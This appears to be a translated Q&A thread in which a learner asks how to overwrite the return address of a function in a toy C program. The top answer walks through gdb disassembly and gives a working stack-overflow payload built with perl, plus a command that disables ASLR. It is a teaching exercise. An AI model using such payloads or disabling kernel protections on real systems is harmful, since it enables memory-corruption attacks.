8

我刚刚写了一个C代码,如下:

#include<stdio.h>
#include<string.h>


void func(char *str)
{
        char buffer[24];
        int *ret;
        strcpy(buffer,str);
}

int main(int argc,char **argv)
{
        int x;
        x=0;
        func(argv[1]);
        x=1;
        printf("\nx is 1\n");
        printf("\nx is 0\n\n");
}

请建议我如何跳过行printf("\nx is 1\n"); . 早些时候我得到的线索是修改ret变量,它是函数func的返回地址。

您能否建议我如何更改上述程序中的返回地址,以便printf("\nx is 1\n"); 被跳过。

我发布了这个问题,因为我不知道如何更改退货地址。

如果你能帮助我,那就太好了。

谢谢

4

3 回答 3

17

据我了解,您希望代码执行指令x=1;,然后跳过下一个 printf 所以它只会 print x is 0没有办法做到这一点。

但是,可以做的是让 func() 擦除它自己的返回地址,这样代码就可以直接跳转到printf("\nx is 0\n\n");. 这也意味着跳过x=1;

这仅是可能的,因为您将通过 cmd 行传递的任何内容发送到 func() 并直接复制到固定大小的缓冲区。如果您尝试复制的字符串比分配的缓冲区大,您最终可能会破坏堆栈,并可能覆盖函数的返回地址。

关于这个主题有很多像这样的好书,我建议你阅读它们。

在gdb上加载您的应用程序并反汇编 main 函数,您将看到类似以下内容:

(gdb) disas main
Dump of assembler code for function main:
0x0804840e <main+0>:    lea    0x4(%esp),%ecx
0x08048412 <main+4>:    and    $0xfffffff0,%esp
0x08048415 <main+7>:    pushl  -0x4(%ecx)
0x08048418 <main+10>:   push   %ebp
0x08048419 <main+11>:   mov    %esp,%ebp
0x0804841b <main+13>:   push   %ecx
0x0804841c <main+14>:   sub    $0x24,%esp
0x0804841f <main+17>:   movl   $0x0,-0x8(%ebp)
0x08048426 <main+24>:   mov    0x4(%ecx),%eax
0x08048429 <main+27>:   add    $0x4,%eax
0x0804842c <main+30>:   mov    (%eax),%eax
0x0804842e <main+32>:   mov    %eax,(%esp)
0x08048431 <main+35>:   call   0x80483f4 <func>     // obvious call to func
0x08048436 <main+40>:   movl   $0x1,-0x8(%ebp)      // x = 1;
0x0804843d <main+47>:   movl   $0x8048520,(%esp)    // pushing "x is 1" to the stack
0x08048444 <main+54>:   call   0x804832c <puts@plt> // 1st printf call
0x08048449 <main+59>:   movl   $0x8048528,(%esp)    // pushing "x is 0" to the stack
0x08048450 <main+66>:   call   0x804832c <puts@plt> // 2nd printf call
0x08048455 <main+71>:   add    $0x24,%esp
0x08048458 <main+74>:   pop    %ecx
0x08048459 <main+75>:   pop    %ebp
0x0804845a <main+76>:   lea    -0x4(%ecx),%esp
0x0804845d <main+79>:   ret    
End of assembler dump.

请务必注意,第二次printf调用的准备工作从 address 开始0x08048449。为了覆盖 的原始返回地址func()并使其跳转到0x08048449,您必须写入超出 的容量char buffer[24];。在这个测试中,我char buffer[6];为了简单起见。

gdb中,如果我执行:

run `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

这将成功覆盖缓冲区并将返回地址替换为我希望它跳转到的地址:

Starting program: /home/karl/workspace/stack/fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

x is 0


Program exited with code 011.
(gdb)

我不会解释每一步,因为其他人已经做得更好了,但是如果你想直接从 cmd-line 重现这种行为,你可以执行以下命令:

./fun `perl -e 'print "123456AAAAAAAA"x1,"\x49\x84\x04\x08"'`

请记住,gdb向您报告的内存地址可能与我得到的不同。

注意:要使此技术起作用,您必须首先禁用内核保护。但只要下面的命令报告不同于 0 的任何内容:

cat /proc/sys/kernel/randomize_va_space

要禁用它,您需要超级用户访问权限:

echo 0 > /proc/sys/kernel/randomize_va_space
于 2011-04-04T19:01:53.947 回答
2

from 的返回地址func在堆栈上,就在它的局部变量附近(其中一个是buffer)。如果你想覆盖返回地址,你必须写到数组的末尾(可能是,buffer[24...27]但我可能弄错了——可能是buffer[28...31]或者即使buffer[24...31]你有一个 64 位系统)。我建议使用调试器来找出确切的地址。

顺便说一句,去掉这个ret变量——你把它放在身边什么都做不了,它可能会混淆你的计算。

请注意,这个“缓冲区溢出漏洞利用”有点难以调试,因为strcpy当遇到零字节时停止复制内容,并且您要写入堆栈的地址可能包含这样的字节。这样做会更容易:

void func(char *str)
{
    char buffer[24];
    sscanf(str, "%x", &buffer[24]); // replace the 24 by 28, 32 or whatever is right
}

并将命令行上的地址作为十六进制字符串给出。这使您更清楚您要做什么,并且更容易调试。

于 2011-04-04T19:17:06.967 回答
-4

这是不可能的——如果你知道编译器及其工作原理、生成的汇编代码、使用的库、架构、cpu、系统环境和明天的乐透号码,这是可能的——如果你有这个知识,你会很聪明,不会问。唯一有意义的情况是当有人尝试某种攻击时,不要指望有人愿意帮助你。

于 2011-04-04T19:06:04.777 回答